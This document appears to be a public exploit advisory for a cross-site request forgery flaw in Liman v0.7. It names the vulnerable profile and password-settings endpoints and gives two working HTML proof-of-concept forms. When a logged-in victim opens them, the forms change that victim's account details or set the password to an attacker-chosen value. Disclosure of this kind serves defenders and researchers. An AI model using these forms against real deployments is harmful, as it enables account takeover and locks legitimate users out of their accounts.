# Exploit Title: Liman v0.7 - Cross-Site Request Forgery (CSRF))
# Date: 27-03-2018
# Exploit Author: George Tsimpidas
# Software Link : https://github.com/salihciftci/liman/releases/tag/v0.7
# Version: 0.7
# Tested on: 18.04.5 LTS (Bionic Beaver)
# Category: Webapp
1. Description:-
There is no CSRF protection in Liman application, with a little help
of social engineering (like sending a link via email/chat) an attacker may
force the victim to click on a malicious link, with the purpose of
manipulating his current account information, or changing entirely his
password.
Vulnerable Endpoints :
- *http://127.0.0.1:5000/settings/profile
<http://127.0.0.1:5000/settings/profile>*
- *http://127.0.0.1:5000/settings/password
<http://127.0.0.1:5000/settings/password>*
*Proof of Concept*
1.
Download the application, make an account and login inside the panel
under : http://127.0.0.1:5000 expose the docker port on 5000.
2.
Save this .html files and send it to victim (Victim should be
loggedin in the browser)
Crafted value will be added.
Account Information CSRF :
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1:5000/settings/profile" method="POST">
<input type="hidden" name="username" value="betatest" />
<input type="hidden" name="email" value="test@gmail.com" />
<input type="submit" value="TakeOver Account Settings" />
</body>
</html>
Password Change CSRF :
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1:5000/settings/password" method="POST">
<input type="hidden" name="password" value="takeover" />
<input type="hidden" name="newPassword" value="takeover" />
<input type="hidden" name="confirmPassword" value="takeover" />
<input type="submit" value="Password TakeOver" />
</body>
</html>